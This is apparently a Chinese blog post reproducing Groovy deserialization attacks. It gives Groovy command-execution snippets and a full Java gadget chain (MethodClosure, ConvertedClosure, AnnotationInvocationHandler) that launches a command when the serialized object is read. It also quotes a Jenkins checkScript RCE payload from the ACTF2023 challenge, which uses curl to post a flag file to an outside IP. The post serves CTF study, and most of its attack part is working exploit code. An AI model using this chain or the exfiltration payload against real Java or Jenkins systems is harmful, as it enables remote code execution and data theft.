groovy反序列化
Groovy
前言
不知道是不是脑子烧糊涂了,不理解
纯复现Boogipop大佬的操作
依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>
Groovy命令执行
package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Map;
public class test{
public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
MethodClosure exec = new MethodClosure(Runtime.getRuntime(), "exec");
Method doCall = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
doCall.setAccessible(true);
doCall.invoke(exec,"calc");
}
}
String.execute()
Groovy为String对象封装了一个execute方法用来动态执行命令
package org.example
import org.codehaus.groovy.runtime.MethodClosure
import java.lang.reflect.Method
class Groovy {
static void main(String[] args) {
println("whoami".execute().text);
}
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
注意这里是groovy文件,而不是java文件
被坑了,我说咋不行
ACTF2023 hooks
就说相关的一步
jenkins的RCE用到groovy
https://github.com/orangetw/awesome-jenkins-rce-2019
那题要重定向,TEL✌的payload经过url解密之后长这样
http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?value=public class x{
public x(){
"curl 8.134.216.221:1234 -X POST -F xx=@/flag".execute()
}
}
可以看到就是利用这一特性
Groovy反序列化链
ConvertedClosure
ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler
。。。算了,自己都不懂,看别人的吧
package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Map;
public class test{
public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}
大概的调用栈
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
分析也看别人的吧
给出最后一步,也是利用doCall函数命令执行
finally
能够命令执行的地方好像越来越看不懂了,从刚开始的反射比较容易,现在都不知道哪里可以命令执行,更不要说挖链子了
每篇一言
即使他没有回头,我也一直在寻找他的身影,可我找到他,他却对我重拳出击,我不明白他突然为何这样对我,直到她的出现我才反应过来,他之所以离开,是因为他早已有了更好的人选,可我不想就此离去,我想击败她证明给他看,我才是最好的而我没有想到他为了她会选择阻拦我,甚至不惜收下我的性命
groovy反序列化
https://zer0peach.github.io/2024/03/07/groovy反序列化/